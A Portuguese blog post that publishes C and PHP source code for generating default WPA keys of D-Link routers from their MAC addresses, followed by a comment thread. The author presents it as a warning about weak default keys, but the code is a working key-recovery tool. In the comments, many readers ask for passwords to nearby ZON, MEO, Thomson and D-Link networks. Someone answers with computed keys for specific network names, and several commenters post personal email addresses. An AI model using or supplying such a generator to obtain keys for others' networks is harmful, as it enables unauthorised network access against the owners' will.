Aproveito para tornar publico o código PHP que gera as chaves dos routers DLink, assim como o código fonte em C do programa que originou o mesmo, uma vez que o autor assim o permitiu
Aproveito o Post para relembrar que o objectivo do blog não é nem nunca foi incentivar à utilização de redes wireless alheias, pois isso é crime, apenas tento alertar os utilizadores para a necessidade da alteração das passwords por defeito, e também para a necessidade das empresas criadoras dos routers em questão arranjarem formas mais eficazes de gerar chaves aleatórias e não chaves que tenham a haver com o nome da rede ou MAC, compreendo que numa situação de produção em grande escala o mesmo é difícil pois a etiqueta com a password é colocada por ultimo e estas já estão feitas conforme o mac do router, seria preferível criarem os routers com as redes abertas, e alertar na etiqueta para a necessidade de alteração da segurança wireless.
Relativamente a pedidos das chaves ZON, etc … teria todo gosto em verificar os métodos de criação das mesmas, sendo assim caso possuam um router ZON ou outro que na etiqueta tenha a chave predefinida, enviem por comentário o MAC do mesmo o nome da rede e chave original, de forma a se tentar ver qual o método de criação das mesmas, sem isso não tenho possibilidades de estudar os mesmos.
Deixo então abaixo os Códigos fontes em C e PHP com os respectivos créditos no interior do mesmo:
Em C by Xpt0niX
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
/* 0= X
1= r
2= q
3= a
4= H
5= N
6= p
7= d
8= S
9= Y
A= w
B= 8
C= 6
D= 2
E= 1
F= 5
Based on a MAC address:
12 34 56 78 9a bc
Pattern of the mixing char must be:
c1 b2 a3 94 85 76 27 9a c3 5b
The final Result for the WPA/SPK key is:
6r 8q wa YH SN dp qd Yw 6a N8
*/
int Alpha_MACString_Remove_Separator(unsigned char *mac, unsigned char *str)
{
int i,j;
if (mac==NULL) return 1;
for (j=0,i=0;i<17;i++)
if (mac[i]!=':' && mac[i]!='-' && mac[i]!='.' && mac[i]!='_')
str[j++] = mac[i];
return 0;
}
#ifdef IFX_MULTILIB_UTIL
#define main wpakeygen_main
#endif
int main(int argc, char **argv)
{
unsigned char mac[12],key[20],newkey[20];
int i,j,index;
char t;
char hash[16] = { 'X', 'r', 'q', 'a', 'H', 'N', 'p', 'd', 'S', 'Y', 'w', '8', '6', '2', '1', '5'};
if (argc !=2 )
{
printf("Usage: wpakeygen {MAC}\n");
printf("Tested on D-Link DVA-G3170i/PT by Xpt0niX");
return 0;
}
Alpha_MACString_Remove_Separator(argv[1], mac);
key[0]=mac[11];
key[1]=mac[0];
key[2]=mac[10];
key[3]=mac[1];
key[4]=mac[9];
key[5]=mac[2];
key[6]=mac[8];
key[7]=mac[3];
key[8]=mac[7];
key[9]=mac[4];
key[10]=mac[6];
key[11]=mac[5];
key[12]=mac[1];
key[13]=mac[6];
key[14]=mac[8];
key[15]=mac[9];
key[16]=mac[11];
key[17]=mac[2];
key[18]=mac[4];
key[19]=mac[10];
//printf("key=%c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c\n",key[0], key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9],key[10],key[11],key[12],key[13],key[14],key[15],key[16],key[17],key[18],key[19]);
for (i=0;i<20;i++)
{
t=key[i];
if ((t >= '0') && (t <= '9'))
index = t-'0';
else
{
t=toupper(t);
if ((t >= 'A') && (t <= 'F'))
index = t-'A'+10;
else return 1;
}
newkey[i]=hash[index];
}
printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",newkey[0], newkey[1],newkey[2],newkey[3],newkey[4],newkey[5],newkey[6],newkey[7],newkey[8],newkey[9],newkey[10],newkey[11],newkey[12],newkey[13],newkey[14],newkey[15],newkey[16],newkey[17],newkey[18],newkey[19]);
return 0;
}
Em PHP by NarG
<?php
//
$mac = "123456780ABC";
echo gerador($mac);
function gerador($mac) {
$key = "XXXXXXXXXXXXXXXXXXXX";
for($i=0;$i<strlen($mac);$i++) {
switch ($i) {
case 0:
$key[1] = dicionario($mac[$i]);
break;
case 1:
$key[3] = dicionario($mac[$i]);
$key[12] = dicionario($mac[$i]);
break;
case 2:
$key[5] = dicionario($mac[$i]);
$key[17] = dicionario($mac[$i]);
break;
case 3:
$key[7] = dicionario($mac[$i]);
break;
case 4:
$key[9] = dicionario($mac[$i]);
$key[18] = dicionario($mac[$i]);
break;
case 5:
$key[11] = dicionario($mac[$i]);
break;
case 6:
$key[10] = dicionario($mac[$i]);
$key[13] = dicionario($mac[$i]);
break;
case 7:
$key[8] = dicionario($mac[$i]);
break;
case 8:
$key[6] = dicionario($mac[$i]);
$key[14] = dicionario($mac[$i]);
break;
case 9:
$key[15] = dicionario($mac[$i]);
$key[4] = dicionario($mac[$i]);
break;
case 10:
$key[2] = dicionario($mac[$i]);
$key[19] = dicionario($mac[$i]);
break;
case 11:
$key[0] = dicionario($mac[$i]);
$key[16] = dicionario($mac[$i]);
break;
}
}
return $key;
}
function dicionario($letra) {
$letra = strtoupper($letra);
switch ($letra) {
case "1":
return "r";
break;
case "2":
return "q";
break;
case "3":
return "a";
break;
case "4":
return "H";
break;
case "5":
return "N";
break;
case "6":
return "p";
break;
case "7":
return "d";
break;
case "8":
return "S";
break;
case "9":
return "Y";
break;
case "0":
return "X";
break;
case "A":
return "w";
break;
case "B":
return "8";
break;
case "C":
return "6";
break;
case "D":
return "2";
break;
case "E":
return "1";
break;
case "F":
return "5";
break;
default:
return false;
break;
}
}
?>

|
Boa tarde a todos agradecia imenso se alguem me pudesse dar a password de ZON 7B6E, ZON86F0 E DE ZON 9390, É QUE EU APANHO TODOS por favos obrigado abraço a todos
ZON 7F00, ZON 3330 ou Thomson DA8F88 alguem me ajuda?
Thomson DA8F88
ChavePossivel 1: 947E746D2F
ChavePossivel 2: 285776A37A
Boa Tarde!!!
Preciso de ajuda… alguém me conhece a senha para Dlink-764A9A?
Agradeço Imenso
Boa tarde a todos,
Preciso de ajuda…
agradecia imenso se alguem me pudesse dar a password de ZON 5a30 ,vodafone_wpa_1909
,… aguardo.
Boa noite a todos alguem me pode ajudar com uma pass ZON-F8C6.
Agradeceço imeso obrigado
Agradeceria se alguem me dece a senha dessas Redes : SONAECOM_B106 , SAPO-PI01D3E , DLink-F01F93 , SAPO-ZL32289 … se alguem conseguir senha pra elas agradeceria ;D Qualquer coisa podem enviar pro meu email junior_htinho14@hotmail.com vlw malta
boa noite gostaria de saber a senha desta rede, o nome da rede é FFE? tem como?
Boa tarde a todos agradecia imenso se alguem me pudesse dar a password de ZON 9390 obrigado
Ola Boa tarde…alguem me podia dar a passe da SAPO-ZL03116 ?
Pf
obrigado
Ola boa tarde, será que alguém me sabe descobrir uma pass para este router PBS-A1B9F1
MUITO agradecido se possivel enviem no meu mail, crackbreak@msn.com obrigado cumps
queria saber se me conseguem o código da zon-8F70 wpa2-psk obrigado
boas pessoal,será que alguem me poderia dar uma chave ou dizer-me como obter uma de uma dlink-fa7ec6? obrigado,fico á espera
SSID: Dlink-FA7EC6
MAC: 00:22:B0:FA:7E:C6
KEY: pX6X1qdqw85XX5d1pq86
Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte
se alguem me poder ajudar, eu tenho estas redes que nao csg aceder.
Dlink-FA57A2
ZON-9A10
ZON-2940
ZON-CC90
ZON-8EF0
SSID: Dlink-FA57A2
MAC: 00:22:B0:FA:57:A2
KEY: qXwXdqNqw85XX5Ndqq8w
Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte
Se fosse possivel gostaria de saber a pw da rede
DLink-FA9381
SSID: DLink-FA9381
MAC: 00:22:B0:FA:93:81
KEY: rXSXaqYqw85XX5Yarq8S
Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte
Boas! será possível pass para estas redes:
ZON-03F0
ZON-FEE0
thanks
alguen que me ajude queria a passe da …dlink-b6e0a3
gostava muito de saber
por isso ajudem-me
SSID: Dlink-B6E0A3
MAC: 00:22:B0:B6:E0:A3
KEY: aXwXXq1qp88XX81Xaq8w
Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte
não da das-me……
nao da podes me dar outro
se fazes esse favor
outra password??
ya ou nao daaaa!!!!!!!
pessoal agem me pode da a passe da D-link EFC4BC OBRIGADO
SSID: Dlink-EFC4BC
MAC: 00:22:B0:EF:C4:BC
KEY: 6X8XHq6q581XX16H6q88
Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte
BOAS Alguém que me ajude a descobrir a passe desta rede 2WIRE-PT-295
é somente de passagem…peace
GOSTAVA MUITO DE SABER QUAL A PASSE DESTAS NETS SE ME PODERES AJUDAR OBRIGADA????
PBS-A7CCC1
BLINK-B6E0A3
SE PODERES ME AJUDAR
OBRIGADA
eu ja lhe dei a password e o mac… mas gerar outra nao é possivel.
o dono do router deve ter mudado a password ou vc deve estar longe do router
ta obrigada
de nada
Ola podia me dizer qual é a passe desta internet?
Sapo-ZL03116
tipo de segurança-WPA-PSK
bgda
Oi será ke me podem tentar a pass do thomsonD96462 eu nao consigo abrir aki na pagina!é mesmo urgente se me puderem ajudar .obg!
ola, essa ThomsonD96462 é do ano 2010. ainda nao há algoritmos pra gerar as passwords pra thomsons 2010
tenta outras thomson tenho a certeza ke conseguirás
obrigado.
passwords para os novos MEO e para ZON?
Já alguém consegue?
Obrigada
mara_coimbra@hotmail.com
ainda nao há nada
obrigado.
BOA NOITE . EU GOSTARIA QUE ME PODESSEM AJUDAR TENHO VARIAS REDES DA ZONA AO MEU ALCANCE..
ZON-EA20
ZON-2CB0
ZON-EB70
ZON-1EE0
Ola podia me dizer qual é a passe desta internet?
Sapo-ZL03116
alguem me podia dizer a passe ou arranjar a dá DLink-EFD964
tony
a gente mesmo muito estupida!!! leiam seus ursos em vez de fazerem perguntas de merda!!!!!!!!!!
Gostava que me podessem ajudar pois só tenho uma Dlink e não consigo descobrir.
É a Dlink-F0433E, se alguém me poder ajudar agradecia.
Olá!! Preciso da ajuda de alguém Sff =)
Alguém consegue descobrir p mim a chave do ZON-4E60??
Obrigadíssima! =)
alguém poderia por gentileza ajudar me a descobrir a chave de thomson 7497F0 e enviar para o email caetanode abreu@hotmail.com
eu keria descobrir a pass de uma rede mas a rede este com outro nome e nao consigo saber kual o aparlho mas suspeito ser da meo como faço para descbrir?
Boas podem me ajudar tenho uma rede proximo MEO-5A3F79 qual a pass?
obrigado
alguem pode me dzer a pass-8141d8 obrigada
UM DESENHO PO PESSOAL K NÃO LÊ!! ZON E MEO, NÃO HÁ PASSWORDS AINDA..SERÁ K È ASSIM TÃO DIFICIL???? mas k kromos do caraças pá.!!!
alguem me arranja thompson A4A73B ou CEA3FD
Por favor:
ZON-F870
ZON-B650
Desde já, obrigada.
Por favor:
802.11n
Obrigada.
Alguem me consegue arranjar a pass de 2Wire-PT-490?
Alguem me pode ajudar descobrir a passe da net DLink-FA7630
podes me dizer se já a codigos para meo ou zon? obrigada
pass para router PBS-209948
obrigado